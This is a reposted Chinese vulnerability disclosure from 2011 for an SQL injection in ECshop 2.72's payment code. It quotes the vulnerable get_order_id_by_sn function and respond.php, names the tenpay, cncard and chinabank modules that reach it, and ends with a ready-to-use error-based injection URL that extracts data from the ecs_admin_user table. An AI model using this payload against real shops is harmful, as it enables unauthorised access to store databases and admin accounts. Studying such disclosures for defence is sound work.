热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

ECshop 支付方式注射 0day

发布时间:2011-01-05 16:27文章来源:网络文章作者:fjhgx 点击次数:
摘要:发布日期:2011-01.05 发布作者:fjhgx 影响版本:Ecshop 2.72 官方网站:http://www.ecshop.cn 漏洞类型:SQL注入 漏洞文件:lib_payment.php 漏洞函数:get_order_id_by_sn($order_sn, $voucher = 'false') includes\lib_payment.php(ECSHOP 支付接口函数...

发布日期:2011-01.05
发布作者:fjhgx

影响版本:Ecshop 2.72
官方网站:http://www.ecshop.cn

漏洞类型:SQL注入
漏洞文件:lib_payment.php
漏洞函数:get_order_id_by_sn($order_sn, $voucher = 'false')


includes\lib_payment.php(ECSHOP 支付接口函数库)(53行)

  1. /**  
  2.  
  3. * 通过订单sn取得订单ID  
  4.  
  5. * @param string $order_sn 订单sn  
  6.  
  7. * @param blob $voucher 是否为会员充值  
  8.  
  9. */  
  10.  
  11. function get_order_id_by_sn($order_sn, $voucher = 'false')  
  12.  
  13. {  
  14.  
  15. if ($voucher == 'true') //要想触发漏洞,需保证函数的第二个参数为真。  
  16.  
  17. {  
  18.  
  19. return $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id=" . $order_sn . ' AND order_type=1');  
  20.  
  21. //漏洞位于$order_sn变量,触发原因未经过单引号过滤。from:fjhgx(俺是农村的)  
  22.  
  23. }  
  24.  
  25. else  
  26.  
  27. {  
  28.  
  29. if(is_numeric($order_sn))  
  30.  
  31. {  
  32.  
  33. $sql = 'SELECT order_id FROM ' . $GLOBALS['ecs']->table('order_info'). " WHERE order_sn = '$order_sn'";  
  34.  
  35. $order_id = $GLOBALS['db']->getOne($sql);  
  36.  
  37. }  
  38.  
  39. if (!empty($order_id))  
  40.  
  41. {  
  42.  
  43. $pay_log_id = $GLOBALS['db']->getOne("SELECT log_id FROM " . $GLOBALS['ecs']->table('pay_log') . " WHERE order_id='" . $order_id . "'");  
  44.  
  45. return $pay_log_id;  
  46.  
  47. }  
  48.  
  49. else  
  50.  
  51. {  
  52.  
  53. return "";  
  54.  
  55. }  
  56.  
  57. }  
  58.  
  59. }  
  60.  
  61.  

respond.php(ECSHOP 支付响应页面)(56行)

  1. /* 判断是否启用 */ //判断了支付方式,鸡肋了点。from: fjhgx(俺是农村的)  
  2.  
  3. $sql = "SELECT COUNT(*) FROM " . $ecs->table('payment') . " WHERE pay_code = '$pay_code' AND enabled = 1";  
  4.  
  5. if ($db->getOne($sql) == 0)  
  6.  
  7. {  
  8.  
  9. $msg = $_LANG['pay_disabled'];  
  10.  
  11. }  
  12.  
  13. else  
  14.  
  15. {  
  16.  
  17. $plugin_file = 'includes/modules/payment/' . $pay_code . '.php'; //包含支付方式的文件,位于“includes\modules\payment”目录下。  
  18.  
  19.  
  20. /* 检查插件文件是否存在,如果存在则验证支付是否成功,否则则返回失败信息 */  
  21.  
  22. if (file_exists($plugin_file))  
  23.  
  24. {  
  25.  
  26. /* 根据支付方式代码创建支付类的对象并调用其响应操作方法 */  
  27.  
  28. include_once($plugin_file);  
  29.  
  30.  
  31. $payment = new $pay_code();  
  32.  
  33. $msg = ($payment->respond()) ? $_LANG['pay_success'] : $_LANG['pay_fail'];  
  34.  
  35. }  
  36.  
  37. else  
  38.  
  39. {  
  40.  
  41. $msg = $_LANG['pay_not_exist'];  
  42.  
  43. }  
  44.  
  45. }  
  46.  
  47.  

总共有三处可能触发的漏洞;
1.tenpay.php(200行)

if ($attach == 'voucher')

{

$log_id = get_order_id_by_sn($sp_billno, "true"); //调用漏洞存在的函数,get_order_id_by_sn。from: fjhgx(俺是农村的)

}

else

{

$log_id = get_order_id_by_sn($sp_billno);

}
 

2.cncard.php(207行)

//验证通过后,将订单sn转换为ID 来操作ec订单表

if ($c_memo2 == 'voucher')

{

$c_order = get_order_id_by_sn($c_order, "true"); //注意 from:俺是农村的 bugtosafe@gmail.com

}

else

{

$c_order = get_order_id_by_sn($c_order);

}
 

3.chinabank.php(156行)

//验证通过后,将订单sn转换为ID 来操作ec订单表

$v_oid = get_order_id_by_sn($v_oid, "true"); //注意 from:俺是农村的 bugtosafe@gmail.com

}

else

{

$v_oid = get_order_id_by_sn($v_oid);

}

 

if ($v_pstatus == '20')

{

/* 改变订单状态 */

order_paid($v_oid);

 

return true;

}
 

漏洞验证:
respond.php?code=tenpay&attach=voucher&sp_billno=fjhgx
respond.php?code=cncard
respond.php?code=chinabank

EXP:
respond.php?code=tenpay&attach=voucher&sp_billno=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `ecs`.ecs_admin_user)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1


纯属喜爱PHP,学习审核PHP源代码,未有任何意思。
 

漏洞修复:关注厂商补丁

 

标签分类:

上一篇:课廊 v1.8.9 后台拿WebShell漏洞
下一篇:野草weedcms 5.0写shell漏洞